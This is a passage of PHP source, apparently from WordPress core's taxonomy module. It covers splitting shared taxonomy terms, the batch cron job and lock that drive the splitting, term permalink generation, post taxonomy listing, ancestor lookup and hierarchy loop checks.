$wpdb->terms, $new_term_data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not split shared term.' ), $wpdb->last_error ); } $new_term_id = (int) $wpdb->insert_id; // Update the existing term_taxonomy to point to the newly created term. $wpdb->update( $wpdb->term_taxonomy, array( 'term_id' => $new_term_id ), array( 'term_taxonomy_id' => $term_taxonomy_id ) ); // Reassign child terms to the new parent. if ( empty( $term_taxonomy ) ) { $term_taxonomy = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $term_taxonomy_id ) ); } $children_tt_ids = $wpdb->get_col( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE parent = %d AND taxonomy = %s", $term_id, $term_taxonomy->taxonomy ) ); if ( ! empty( $children_tt_ids ) ) { foreach ( $children_tt_ids as $child_tt_id ) { $wpdb->update( $wpdb->term_taxonomy, array( 'parent' => $new_term_id ), array( 'term_taxonomy_id' => $child_tt_id ) ); clean_term_cache( $term_id, $term_taxonomy->taxonomy ); } } else { // If the term has no children, we must force its taxonomy cache to be rebuilt separately. clean_term_cache( $new_term_id, $term_taxonomy->taxonomy ); } // Clean the cache for term taxonomies formerly shared with the current term. $shared_term_taxonomies = $wpdb->get_row( $wpdb->prepare( "SELECT taxonomy FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) ); if ( $shared_term_taxonomies ) { foreach ( $shared_term_taxonomies as $shared_term_taxonomy ) { clean_term_cache( $term_id, $shared_term_taxonomy ); } } // Keep a record of term_ids that have been split, keyed by old term_id. See wp_get_split_term(). if ( $record ) { $split_term_data = get_option( '_split_terms', array() ); if ( ! isset( $split_term_data[ $term_id ] ) ) { $split_term_data[ $term_id ] = array(); } $split_term_data[ $term_id ][ $term_taxonomy->taxonomy ] = $new_term_id; update_option( '_split_terms', $split_term_data ); } // If we've just split the final shared term, set the "finished" flag. $shared_terms_exist = $wpdb->get_results( "SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id GROUP BY t.term_id HAVING term_tt_count > 1 LIMIT 1" ); if ( ! $shared_terms_exist ) { update_option( 'finished_splitting_shared_terms', true ); } /** * Fires after a previously shared taxonomy term is split into two separate terms. * * @since 4.2.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ do_action( 'split_shared_term', $term_id, $new_term_id, $term_taxonomy_id, $term_taxonomy->taxonomy ); return $new_term_id; } /** * Splits a batch of shared taxonomy terms. * * @since 4.3.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function _wp_batch_split_terms() { global $wpdb; $lock_name = 'term_split.lock'; // Try to lock. $lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) ); if ( ! $lock_result ) { $lock_result = get_option( $lock_name ); // Bail if we were unable to create a lock, or if the existing lock is still valid. if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) { wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' ); return; } } // Update the lock, as by this point we've definitely got a lock, just need to fire the actions. update_option( $lock_name, time() ); // Get a list of shared terms (those with more than one associated row in term_taxonomy). $shared_terms = $wpdb->get_results( "SELECT tt.term_id, t.*, count(*) as term_tt_count FROM {$wpdb->term_taxonomy} tt LEFT JOIN {$wpdb->terms} t ON t.term_id = tt.term_id GROUP BY t.term_id HAVING term_tt_count > 1 LIMIT 10" ); // No more terms, we're done here. if ( ! $shared_terms ) { update_option( 'finished_splitting_shared_terms', true ); delete_option( $lock_name ); return; } // Shared terms found? We'll need to run this script again. wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' ); // Rekey shared term array for faster lookups. $_shared_terms = array(); foreach ( $shared_terms as $shared_term ) { $term_id = intval( $shared_term->term_id ); $_shared_terms[ $term_id ] = $shared_term; } $shared_terms = $_shared_terms; // Get term taxonomy data for all shared terms. $shared_term_ids = implode( ',', array_keys( $shared_terms ) ); $shared_tts = $wpdb->get_results( "SELECT * FROM {$wpdb->term_taxonomy} WHERE `term_id` IN ({$shared_term_ids})" ); // Split term data recording is slow, so we do it just once, outside the loop. $split_term_data = get_option( '_split_terms', array() ); $skipped_first_term = $taxonomies = array(); foreach ( $shared_tts as $shared_tt ) { $term_id = intval( $shared_tt->term_id ); // Don't split the first tt belonging to a given term_id. if ( ! isset( $skipped_first_term[ $term_id ] ) ) { $skipped_first_term[ $term_id ] = 1; continue; } if ( ! isset( $split_term_data[ $term_id ] ) ) { $split_term_data[ $term_id ] = array(); } // Keep track of taxonomies whose hierarchies need flushing. if ( ! isset( $taxonomies[ $shared_tt->taxonomy ] ) ) { $taxonomies[ $shared_tt->taxonomy ] = 1; } // Split the term. $split_term_data[ $term_id ][ $shared_tt->taxonomy ] = _split_shared_term( $shared_terms[ $term_id ], $shared_tt, false ); } // Rebuild the cached hierarchy for each affected taxonomy. foreach ( array_keys( $taxonomies ) as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } update_option( '_split_terms', $split_term_data ); delete_option( $lock_name ); } /** * In order to avoid the _wp_batch_split_terms() job being accidentally removed, * check that it's still scheduled while we haven't finished splitting terms. * * @ignore * @since 4.3.0 */ function _wp_check_for_scheduled_split_terms() { if ( ! get_option( 'finished_splitting_shared_terms' ) && ! wp_next_scheduled( 'wp_split_shared_term_batch' ) ) { wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_split_shared_term_batch' ); } } /** * Check default categories when a term gets split to see if any of them need to be updated. * * @ignore * @since 4.2.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_default_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { if ( 'category' != $taxonomy ) { return; } foreach ( array( 'default_category', 'default_link_category', 'default_email_category' ) as $option ) { if ( $term_id == get_option( $option, -1 ) ) { update_option( $option, $new_term_id ); } } } /** * Check menu items when a term gets split to see if any of them need to be updated. * * @ignore * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_terms_in_menus( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { global $wpdb; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT m1.post_id FROM {$wpdb->postmeta} AS m1 INNER JOIN {$wpdb->postmeta} AS m2 ON ( m2.post_id = m1.post_id ) INNER JOIN {$wpdb->postmeta} AS m3 ON ( m3.post_id = m1.post_id ) WHERE ( m1.meta_key = '_menu_item_type' AND m1.meta_value = 'taxonomy' ) AND ( m2.meta_key = '_menu_item_object' AND m2.meta_value = '%s' ) AND ( m3.meta_key = '_menu_item_object_id' AND m3.meta_value = %d )", $taxonomy, $term_id ) ); if ( $post_ids ) { foreach ( $post_ids as $post_id ) { update_post_meta( $post_id, '_menu_item_object_id', $new_term_id, $term_id ); } } } /** * If the term being split is a nav_menu, change associations. * * @ignore * @since 4.3.0 * * @param int $term_id ID of the formerly shared term. * @param int $new_term_id ID of the new term created for the $term_taxonomy_id. * @param int $term_taxonomy_id ID for the term_taxonomy row affected by the split. * @param string $taxonomy Taxonomy for the split term. */ function _wp_check_split_nav_menu_terms( $term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) { if ( 'nav_menu' !== $taxonomy ) { return; } // Update menu locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { if ( $term_id == $menu_id ) { $locations[ $location ] = $new_term_id; } } set_theme_mod( 'nav_menu_locations', $locations ); } /** * Get data about terms that previously shared a single term_id, but have since been split. * * @since 4.2.0 * * @param int $old_term_id Term ID. This is the old, pre-split term ID. * @return array Array of new term IDs, keyed by taxonomy. */ function wp_get_split_terms( $old_term_id ) { $split_terms = get_option( '_split_terms', array() ); $terms = array(); if ( isset( $split_terms[ $old_term_id ] ) ) { $terms = $split_terms[ $old_term_id ]; } return $terms; } /** * Get the new term ID corresponding to a previously split term. * * @since 4.2.0 * * @param int $old_term_id Term ID. This is the old, pre-split term ID. * @param string $taxonomy Taxonomy that the term belongs to. * @return int|false If a previously split term is found corresponding to the old term_id and taxonomy, * the new term_id will be returned. If no previously split term is found matching * the parameters, returns false. */ function wp_get_split_term( $old_term_id, $taxonomy ) { $split_terms = wp_get_split_terms( $old_term_id ); $term_id = false; if ( isset( $split_terms[ $taxonomy ] ) ) { $term_id = (int) $split_terms[ $taxonomy ]; } return $term_id; } /** * Determine whether a term is shared between multiple taxonomies. * * Shared taxonomy terms began to be split in 4.3, but failed cron tasks or other delays in upgrade routines may cause * shared terms to remain. * * @since 4.4.0 * * @param int $term_id * @return bool */ function wp_term_is_shared( $term_id ) { global $wpdb; if ( get_option( 'finished_splitting_shared_terms' ) ) { return false; } $tt_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term_id ) ); return $tt_count > 1; } /** * Generate a permalink for a taxonomy term archive. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite * * @param object|int|string $term The term object, ID, or slug whose link will be retrieved. * @param string $taxonomy Optional. Taxonomy. Default empty. * @return string|WP_Error HTML link to taxonomy term archive on success, WP_Error if term does not exist. */ function get_term_link( $term, $taxonomy = '' ) { global $wp_rewrite; if ( !is_object($term) ) { if ( is_int( $term ) ) { $term = get_term( $term, $taxonomy ); } else { $term = get_term_by( 'slug', $term, $taxonomy ); } } if ( !is_object($term) ) $term = new WP_Error('invalid_term', __('Empty Term')); if ( is_wp_error( $term ) ) return $term; $taxonomy = $term->taxonomy; $termlink = $wp_rewrite->get_extra_permastruct($taxonomy); $slug = $term->slug; $t = get_taxonomy($taxonomy); if ( empty($termlink) ) { if ( 'category' == $taxonomy ) $termlink = '?cat=' . $term->term_id; elseif ( $t->query_var ) $termlink = "?$t->query_var=$slug"; else $termlink = "?taxonomy=$taxonomy&term=$slug"; $termlink = home_url($termlink); } else { if ( $t->rewrite['hierarchical'] ) { $hierarchical_slugs = array(); $ancestors = get_ancestors( $term->term_id, $taxonomy, 'taxonomy' ); foreach ( (array)$ancestors as $ancestor ) { $ancestor_term = get_term($ancestor, $taxonomy); $hierarchical_slugs[] = $ancestor_term->slug; } $hierarchical_slugs = array_reverse($hierarchical_slugs); $hierarchical_slugs[] = $slug; $termlink = str_replace("%$taxonomy%", implode('/', $hierarchical_slugs), $termlink); } else { $termlink = str_replace("%$taxonomy%", $slug, $termlink); } $termlink = home_url( user_trailingslashit($termlink, 'category') ); } // Back Compat filters. if ( 'post_tag' == $taxonomy ) { /** * Filters the tag link. * * @since 2.3.0 * @deprecated 2.5.0 Use 'term_link' instead. * * @param string $termlink Tag link URL. * @param int $term_id Term ID. */ $termlink = apply_filters( 'tag_link', $termlink, $term->term_id ); } elseif ( 'category' == $taxonomy ) { /** * Filters the category link. * * @since 1.5.0 * @deprecated 2.5.0 Use 'term_link' instead. * * @param string $termlink Category link URL. * @param int $term_id Term ID. */ $termlink = apply_filters( 'category_link', $termlink, $term->term_id ); } /** * Filters the term link. * * @since 2.5.0 * * @param string $termlink Term link URL. * @param object $term Term object. * @param string $taxonomy Taxonomy slug. */ return apply_filters( 'term_link', $termlink, $term, $taxonomy ); } /** * Display the taxonomies of a post with available options. * * This function can be used within the loop to display the taxonomies for a * post without specifying the Post ID. You can also use it outside the Loop to * display the taxonomies for a specific post. * * @since 2.5.0 * * @param array $args { * Arguments about which post to use and how to format the output. Shares all of the arguments * supported by get_the_taxonomies(), in addition to the following. * * @type int|WP_Post $post Post ID or object to get taxonomies of. Default current post. * @type string $before Displays before the taxonomies. Default empty string. * @type string $sep Separates each taxonomy. Default is a space. * @type string $after Displays after the taxonomies. Default empty string. * } */ function the_taxonomies( $args = array() ) { $defaults = array( 'post' => 0, 'before' => '', 'sep' => ' ', 'after' => '', ); $r = wp_parse_args( $args, $defaults ); echo $r['before'] . join( $r['sep'], get_the_taxonomies( $r['post'], $r ) ) . $r['after']; } /** * Retrieve all taxonomies associated with a post. * * This function can be used within the loop. It will also return an array of * the taxonomies with links to the taxonomy and name. * * @since 2.5.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @param array $args { * Optional. Arguments about how to format the list of taxonomies. Default empty array. * * @type string $template Template for displaying a taxonomy label and list of terms. * Default is "Label: Terms." * @type string $term_template Template for displaying a single term in the list. Default is the term name * linked to its archive. * } * @return array List of taxonomies. */ function get_the_taxonomies( $post = 0, $args = array() ) { $post = get_post( $post ); $args = wp_parse_args( $args, array( /* translators: %s: taxonomy label, %l: list of terms formatted as per $term_template */ 'template' => __( '%s: %l.' ), 'term_template' => '<a href="%1$s">%2$s</a>', ) ); $taxonomies = array(); if ( ! $post ) { return $taxonomies; } foreach ( get_object_taxonomies( $post ) as $taxonomy ) { $t = (array) get_taxonomy( $taxonomy ); if ( empty( $t['label'] ) ) { $t['label'] = $taxonomy; } if ( empty( $t['args'] ) ) { $t['args'] = array(); } if ( empty( $t['template'] ) ) { $t['template'] = $args['template']; } if ( empty( $t['term_template'] ) ) { $t['term_template'] = $args['term_template']; } $terms = get_object_term_cache( $post->ID, $taxonomy ); if ( false === $terms ) { $terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] ); } $links = array(); foreach ( $terms as $term ) { $links[] = wp_sprintf( $t['term_template'], esc_attr( get_term_link( $term ) ), $term->name ); } if ( $links ) { $taxonomies[$taxonomy] = wp_sprintf( $t['template'], $t['label'], $links, $terms ); } } return $taxonomies; } /** * Retrieve all taxonomies of a post with just the names. * * @since 2.5.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post. * @return array */ function get_post_taxonomies( $post = 0 ) { $post = get_post( $post ); return get_object_taxonomies($post); } /** * Determine if the given object is associated with any of the given terms. * * The given terms are checked against the object's terms' term_ids, names and slugs. * Terms given as integers will only be checked against the object's terms' term_ids. * If no terms are given, determines if object is associated with any terms in the given taxonomy. * * @since 2.7.0 * * @param int $object_id ID of the object (post ID, link ID, ...). * @param string $taxonomy Single taxonomy name. * @param int|string|array $terms Optional. Term term_id, name, slug or array of said. Default null. * @return bool|WP_Error WP_Error on input error. */ function is_object_in_term( $object_id, $taxonomy, $terms = null ) { if ( !$object_id = (int) $object_id ) return new WP_Error( 'invalid_object', __( 'Invalid object ID' ) ); $object_terms = get_object_term_cache( $object_id, $taxonomy ); if ( false === $object_terms ) { $object_terms = wp_get_object_terms( $object_id, $taxonomy, array( 'update_term_meta_cache' => false ) ); if ( is_wp_error( $object_terms ) ) { return $object_terms; } wp_cache_set( $object_id, wp_list_pluck( $object_terms, 'term_id' ), "{$taxonomy}_relationships" ); } if ( is_wp_error( $object_terms ) ) return $object_terms; if ( empty( $object_terms ) ) return false; if ( empty( $terms ) ) return ( !empty( $object_terms ) ); $terms = (array) $terms; if ( $ints = array_filter( $terms, 'is_int' ) ) $strs = array_diff( $terms, $ints ); else $strs =& $terms; foreach ( $object_terms as $object_term ) { // If term is an int, check against term_ids only. if ( $ints && in_array( $object_term->term_id, $ints ) ) { return true; } if ( $strs ) { // Only check numeric strings against term_id, to avoid false matches due to type juggling. $numeric_strs = array_map( 'intval', array_filter( $strs, 'is_numeric' ) ); if ( in_array( $object_term->term_id, $numeric_strs, true ) ) { return true; } if ( in_array( $object_term->name, $strs ) ) return true; if ( in_array( $object_term->slug, $strs ) ) return true; } } return false; } /** * Determine if the given object type is associated with the given taxonomy. * * @since 3.0.0 * * @param string $object_type Object type string. * @param string $taxonomy Single taxonomy name. * @return bool True if object is associated with the taxonomy, otherwise false. */ function is_object_in_taxonomy( $object_type, $taxonomy ) { $taxonomies = get_object_taxonomies( $object_type ); if ( empty( $taxonomies ) ) { return false; } return in_array( $taxonomy, $taxonomies ); } /** * Get an array of ancestor IDs for a given object. * * @since 3.1.0 * @since 4.1.0 Introduced the `$resource_type` argument. * * @param int $object_id Optional. The ID of the object. Default 0. * @param string $object_type Optional. The type of object for which we'll be retrieving * ancestors. Accepts a post type or a taxonomy name. Default empty. * @param string $resource_type Optional. Type of resource $object_type is. Accepts 'post_type' * or 'taxonomy'. Default empty. * @return array An array of ancestors from lowest to highest in the hierarchy. */ function get_ancestors( $object_id = 0, $object_type = '', $resource_type = '' ) { $object_id = (int) $object_id; $ancestors = array(); if ( empty( $object_id ) ) { /** This filter is documented in wp-includes/taxonomy.php */ return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type ); } if ( ! $resource_type ) { if ( is_taxonomy_hierarchical( $object_type ) ) { $resource_type = 'taxonomy'; } elseif ( post_type_exists( $object_type ) ) { $resource_type = 'post_type'; } } if ( 'taxonomy' === $resource_type ) { $term = get_term($object_id, $object_type); while ( ! is_wp_error($term) && ! empty( $term->parent ) && ! in_array( $term->parent, $ancestors ) ) { $ancestors[] = (int) $term->parent; $term = get_term($term->parent, $object_type); } } elseif ( 'post_type' === $resource_type ) { $ancestors = get_post_ancestors($object_id); } /** * Filters a given object's ancestors. * * @since 3.1.0 * @since 4.1.1 Introduced the `$resource_type` parameter. * * @param array $ancestors An array of object ancestors. * @param int $object_id Object ID. * @param string $object_type Type of object. * @param string $resource_type Type of resource $object_type is. */ return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type ); } /** * Returns the term's parent's term_ID. * * @since 3.1.0 * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @return int|false False on error. */ function wp_get_term_taxonomy_parent_id( $term_id, $taxonomy ) { $term = get_term( $term_id, $taxonomy ); if ( ! $term || is_wp_error( $term ) ) { return false; } return (int) $term->parent; } /** * Checks the given subset of the term hierarchy for hierarchy loops. * Prevents loops from forming and breaks those that it finds. * * Attached to the {@see 'wp_update_term_parent'} filter. * * @since 3.1.0 * * @param int $parent `term_id` of the parent for the term we're checking. * @param int $term_id The term we're checking. * @param string $taxonomy The taxonomy of the term we're checking. * * @return int The new parent for the term. */ function wp_check_term_hierarchy_for_loops( $parent, $term_id, $taxonomy ) { // Nothing fancy here - bail if ( !$parent ) return 0; // Can't be its own parent. if ( $parent == $term_id ) return 0; // Now look for larger loops. if ( !$loop = wp_find_hierarchy_loop( 'wp_get_term_taxonomy_parent_id', $term_id, $parent, array( $taxonomy ) ) ) return $parent; // No loop // Setting $parent to the given value causes a loop. if ( isset( $loop[$term_id] ) ) return 0; // There's a loop, but it doesn't contain $term_id. Break the loop. foreach ( array_keys( $loop ) as $loop_member ) wp_update_term( $loop_member, $taxonomy, array( 'parent' => 0 ) ); return $parent; }